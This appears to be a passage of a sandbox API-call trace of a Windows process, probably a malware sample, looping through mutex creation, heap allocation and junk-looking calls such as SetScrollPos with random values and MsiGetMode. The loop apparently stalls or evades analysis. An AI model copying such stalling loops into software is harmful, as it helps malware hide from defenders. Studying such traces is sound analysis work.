	[0095.214] ReleaseMutex (hMutex=0x360) returned 1
	[0095.214] CloseHandle (hObject=0x360) returned 1
	[0095.214] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-947478934, bRedraw=1) returned 0
	[0095.214] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.214] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.214] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.214] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.214] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.214] GetCurrentProcessId () returned 0xb50
	[0095.214] GetLastError () returned 0x578
	[0095.214] GetLastError () returned 0x578
	[0095.215] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.215] GetLastError () returned 0x0
	[0095.215] ReleaseMutex (hMutex=0x360) returned 1
	[0095.215] CloseHandle (hObject=0x360) returned 1
	[0095.215] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2098207256, bRedraw=1) returned 0
	[0095.215] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.215] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.215] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.215] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.215] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.215] GetCurrentProcessId () returned 0xb50
	[0095.215] GetLastError () returned 0x578
	[0095.215] GetLastError () returned 0x578
	[0095.215] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.215] GetLastError () returned 0x0
	[0095.215] ReleaseMutex (hMutex=0x360) returned 1
	[0095.215] CloseHandle (hObject=0x360) returned 1
	[0095.216] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=858556102, bRedraw=1) returned 0
	[0095.216] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.216] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.216] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.216] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.216] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.216] GetCurrentProcessId () returned 0xb50
	[0095.216] GetLastError () returned 0x578
	[0095.216] GetLastError () returned 0x578
	[0095.216] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.216] GetLastError () returned 0x0
	[0095.216] ReleaseMutex (hMutex=0x360) returned 1
	[0095.216] CloseHandle (hObject=0x360) returned 1
	[0095.216] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-371465100, bRedraw=1) returned 0
	[0095.216] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.216] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.216] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.216] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.216] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.216] GetCurrentProcessId () returned 0xb50
	[0095.217] GetLastError () returned 0x578
	[0095.217] GetLastError () returned 0x578
	[0095.217] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.217] GetLastError () returned 0x0
	[0095.217] ReleaseMutex (hMutex=0x360) returned 1
	[0095.217] CloseHandle (hObject=0x360) returned 1
	[0095.217] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1591856350, bRedraw=1) returned 0
	[0095.217] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.217] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.217] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.217] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.217] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.217] GetCurrentProcessId () returned 0xb50
	[0095.217] GetLastError () returned 0x578
	[0095.217] GetLastError () returned 0x578
	[0095.217] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.218] GetLastError () returned 0x0
	[0095.218] ReleaseMutex (hMutex=0x360) returned 1
	[0095.218] CloseHandle (hObject=0x360) returned 1
	[0095.218] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1492349648, bRedraw=1) returned 0
	[0095.218] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.218] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.218] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.218] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.218] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.218] GetCurrentProcessId () returned 0xb50
	[0095.218] GetLastError () returned 0x578
	[0095.218] GetLastError () returned 0x578
	[0095.218] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.218] GetLastError () returned 0x0
	[0095.218] ReleaseMutex (hMutex=0x360) returned 1
	[0095.218] CloseHandle (hObject=0x360) returned 1
	[0095.218] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=291218302, bRedraw=1) returned 0
	[0095.218] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.218] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.218] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.218] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.218] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.218] GetCurrentProcessId () returned 0xb50
	[0095.219] GetLastError () returned 0x578
	[0095.219] GetLastError () returned 0x578
	[0095.219] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.219] GetLastError () returned 0x0
	[0095.219] ReleaseMutex (hMutex=0x360) returned 1
	[0095.219] CloseHandle (hObject=0x360) returned 1
	[0095.219] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-900283092, bRedraw=1) returned 0
	[0095.219] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.219] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.219] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.219] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.219] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.219] GetCurrentProcessId () returned 0xb50
	[0095.219] GetLastError () returned 0x578
	[0095.219] GetLastError () returned 0x578
	[0095.219] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.219] GetLastError () returned 0x0
	[0095.219] ReleaseMutex (hMutex=0x360) returned 1
	[0095.219] CloseHandle (hObject=0x360) returned 1
	[0095.219] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2082154534, bRedraw=1) returned 0
	[0095.219] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.219] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.220] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.220] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.220] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.220] GetCurrentProcessId () returned 0xb50
	[0095.220] GetLastError () returned 0x578
	[0095.220] GetLastError () returned 0x578
	[0095.220] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.220] GetLastError () returned 0x0
	[0095.220] ReleaseMutex (hMutex=0x360) returned 1
	[0095.220] CloseHandle (hObject=0x360) returned 1
	[0095.220] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1040571272, bRedraw=1) returned 0
	[0095.220] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.220] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.220] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.220] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.220] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.220] GetCurrentProcessId () returned 0xb50
	[0095.220] GetLastError () returned 0x578
	[0095.220] GetLastError () returned 0x578
	[0095.220] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.220] GetLastError () returned 0x0
	[0095.220] ReleaseMutex (hMutex=0x360) returned 1
	[0095.220] CloseHandle (hObject=0x360) returned 1
	[0095.221] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-122040266, bRedraw=1) returned 0
	[0095.221] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.221] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.221] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.221] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.221] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.221] GetCurrentProcessId () returned 0xb50
	[0095.221] GetLastError () returned 0x578
	[0095.221] GetLastError () returned 0x578
	[0095.221] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.221] GetLastError () returned 0x0
	[0095.221] ReleaseMutex (hMutex=0x360) returned 1
	[0095.221] CloseHandle (hObject=0x360) returned 1
	[0095.221] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1275021852, bRedraw=1) returned 0
	[0095.221] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.221] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.221] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.221] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.221] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.221] GetCurrentProcessId () returned 0xb50
	[0095.221] GetLastError () returned 0x578
	[0095.221] GetLastError () returned 0x578
	[0095.222] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.222] GetLastError () returned 0x0
	[0095.222] ReleaseMutex (hMutex=0x360) returned 1
	[0095.222] CloseHandle (hObject=0x360) returned 1
	[0095.222] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1876593810, bRedraw=1) returned 0
	[0095.222] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.222] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.222] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.222] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.222] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.222] GetCurrentProcessId () returned 0xb50
	[0095.222] GetLastError () returned 0x578
	[0095.222] GetLastError () returned 0x578
	[0095.222] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.222] GetLastError () returned 0x0
	[0095.222] ReleaseMutex (hMutex=0x360) returned 1
	[0095.222] CloseHandle (hObject=0x360) returned 1
	[0095.222] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=742872128, bRedraw=1) returned 0
	[0095.222] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.222] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.222] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.222] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.223] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.223] GetCurrentProcessId () returned 0xb50
	[0095.223] GetLastError () returned 0x578
	[0095.223] GetLastError () returned 0x578
	[0095.223] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.223] GetLastError () returned 0x0
	[0095.223] ReleaseMutex (hMutex=0x360) returned 1
	[0095.223] CloseHandle (hObject=0x360) returned 1
	[0095.223] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-381219602, bRedraw=1) returned 0
	[0095.223] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.223] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.223] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.223] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.223] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.223] GetCurrentProcessId () returned 0xb50
	[0095.223] GetLastError () returned 0x578
	[0095.223] GetLastError () returned 0x578
	[0095.223] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.223] GetLastError () returned 0x0
	[0095.223] ReleaseMutex (hMutex=0x360) returned 1
	[0095.223] CloseHandle (hObject=0x360) returned 1
	[0095.223] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1495681380, bRedraw=1) returned 0
	[0095.224] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.224] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.224] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.224] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.224] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.224] GetCurrentProcessId () returned 0xb50
	[0095.224] GetLastError () returned 0x578
	[0095.224] GetLastError () returned 0x578
	[0095.224] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.224] GetLastError () returned 0x0
	[0095.224] ReleaseMutex (hMutex=0x360) returned 1
	[0095.224] CloseHandle (hObject=0x360) returned 1
	[0095.224] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1694454090, bRedraw=1) returned 0
	[0095.224] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.224] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.224] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.224] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.224] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.224] GetCurrentProcessId () returned 0xb50
	[0095.224] GetLastError () returned 0x578
	[0095.224] GetLastError () returned 0x578
	[0095.224] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.224] GetLastError () returned 0x0
	[0095.225] ReleaseMutex (hMutex=0x360) returned 1
	[0095.225] CloseHandle (hObject=0x360) returned 1
	[0095.225] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=599252216, bRedraw=1) returned 0
	[0095.225] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.225] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.225] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.225] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.225] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.225] GetCurrentProcessId () returned 0xb50
	[0095.225] GetLastError () returned 0x578
	[0095.225] GetLastError () returned 0x578
	[0095.225] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.225] GetLastError () returned 0x0
	[0095.225] ReleaseMutex (hMutex=0x360) returned 1
	[0095.225] CloseHandle (hObject=0x360) returned 1
	[0095.225] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-486319706, bRedraw=1) returned 0
	[0095.225] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.225] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.225] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.225] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.225] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.225] GetCurrentProcessId () returned 0xb50
	[0095.225] GetLastError () returned 0x578
	[0095.226] GetLastError () returned 0x578
	[0095.226] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.226] GetLastError () returned 0x0
	[0095.226] ReleaseMutex (hMutex=0x360) returned 1
	[0095.226] CloseHandle (hObject=0x360) returned 1
	[0095.226] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1562261676, bRedraw=1) returned 0
	[0095.226] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.226] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.226] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.226] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.226] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.226] GetCurrentProcessId () returned 0xb50
	[0095.226] GetLastError () returned 0x578
	[0095.226] GetLastError () returned 0x578
	[0095.226] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.226] GetLastError () returned 0x0
	[0095.226] ReleaseMutex (hMutex=0x360) returned 1
	[0095.226] CloseHandle (hObject=0x360) returned 1
	[0095.226] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1666393602, bRedraw=1) returned 0
	[0095.226] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.226] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.227] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.227] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.227] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.227] GetCurrentProcessId () returned 0xb50
	[0095.227] GetLastError () returned 0x578
	[0095.227] GetLastError () returned 0x578
	[0095.227] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.227] GetLastError () returned 0x0
	[0095.227] ReleaseMutex (hMutex=0x360) returned 1
	[0095.227] CloseHandle (hObject=0x360) returned 1
	[0095.227] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=609711536, bRedraw=1) returned 0
	[0095.227] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.227] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.227] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.227] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.227] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.227] GetCurrentProcessId () returned 0xb50
	[0095.227] GetLastError () returned 0x578
	[0095.227] GetLastError () returned 0x578
	[0095.227] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.227] GetLastError () returned 0x0
	[0095.227] ReleaseMutex (hMutex=0x360) returned 1
	[0095.227] CloseHandle (hObject=0x360) returned 1
	[0095.227] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-437340578, bRedraw=1) returned 0
	[0095.228] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.228] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.228] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.228] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.228] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.228] GetCurrentProcessId () returned 0xb50
	[0095.228] GetLastError () returned 0x578
	[0095.228] GetLastError () returned 0x578
	[0095.228] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.228] GetLastError () returned 0x0
	[0095.228] ReleaseMutex (hMutex=0x360) returned 1
	[0095.228] CloseHandle (hObject=0x360) returned 1
	[0095.228] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1474762740, bRedraw=1) returned 0
	[0095.228] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.228] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.228] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.228] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.228] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.228] GetCurrentProcessId () returned 0xb50
	[0095.228] GetLastError () returned 0x578
	[0095.228] GetLastError () returned 0x578
	[0095.228] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.229] GetLastError () returned 0x0
	[0095.229] ReleaseMutex (hMutex=0x360) returned 1
	[0095.229] CloseHandle (hObject=0x360) returned 1
	[0095.229] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1792412346, bRedraw=1) returned 0
	[0095.229] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.229] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.229] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.229] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.229] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.229] GetCurrentProcessId () returned 0xb50
	[0095.229] GetLastError () returned 0x578
	[0095.229] GetLastError () returned 0x578
	[0095.229] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.229] GetLastError () returned 0x0
	[0095.229] ReleaseMutex (hMutex=0x360) returned 1
	[0095.229] CloseHandle (hObject=0x360) returned 1
	[0095.229] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=774250088, bRedraw=1) returned 0
	[0095.229] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.229] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.229] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.229] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.229] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.229] GetCurrentProcessId () returned 0xb50
	[0095.229] GetLastError () returned 0x578
	[0095.230] GetLastError () returned 0x578
	[0095.230] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.230] GetLastError () returned 0x0
	[0095.230] ReleaseMutex (hMutex=0x360) returned 1
	[0095.230] CloseHandle (hObject=0x360) returned 1
	[0095.230] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-234282218, bRedraw=1) returned 0
	[0095.230] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.230] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.230] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.230] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.230] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.230] GetCurrentProcessId () returned 0xb50
	[0095.230] GetLastError () returned 0x578
	[0095.230] GetLastError () returned 0x578
	[0095.230] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.230] GetLastError () returned 0x0
	[0095.230] ReleaseMutex (hMutex=0x360) returned 1
	[0095.230] CloseHandle (hObject=0x360) returned 1
	[0095.230] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1233184572, bRedraw=1) returned 0
	[0095.231] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.231] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.231] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.231] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.231] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.231] GetCurrentProcessId () returned 0xb50
	[0095.231] GetLastError () returned 0x578
	[0095.231] GetLastError () returned 0x578
	[0095.231] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.231] GetLastError () returned 0x0
	[0095.231] ReleaseMutex (hMutex=0x360) returned 1
	[0095.231] CloseHandle (hObject=0x360) returned 1
	[0095.231] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2072510322, bRedraw=1) returned 0
	[0095.232] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.233] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.233] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.233] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.233] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.233] GetCurrentProcessId () returned 0xb50
	[0095.233] GetLastError () returned 0x578
	[0095.233] GetLastError () returned 0x578
	[0095.233] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.233] GetLastError () returned 0x0
	[0095.233] ReleaseMutex (hMutex=0x360) returned 1
	[0095.233] CloseHandle (hObject=0x360) returned 1
	[0095.233] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1092867872, bRedraw=1) returned 0
	[0095.233] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.233] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.233] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
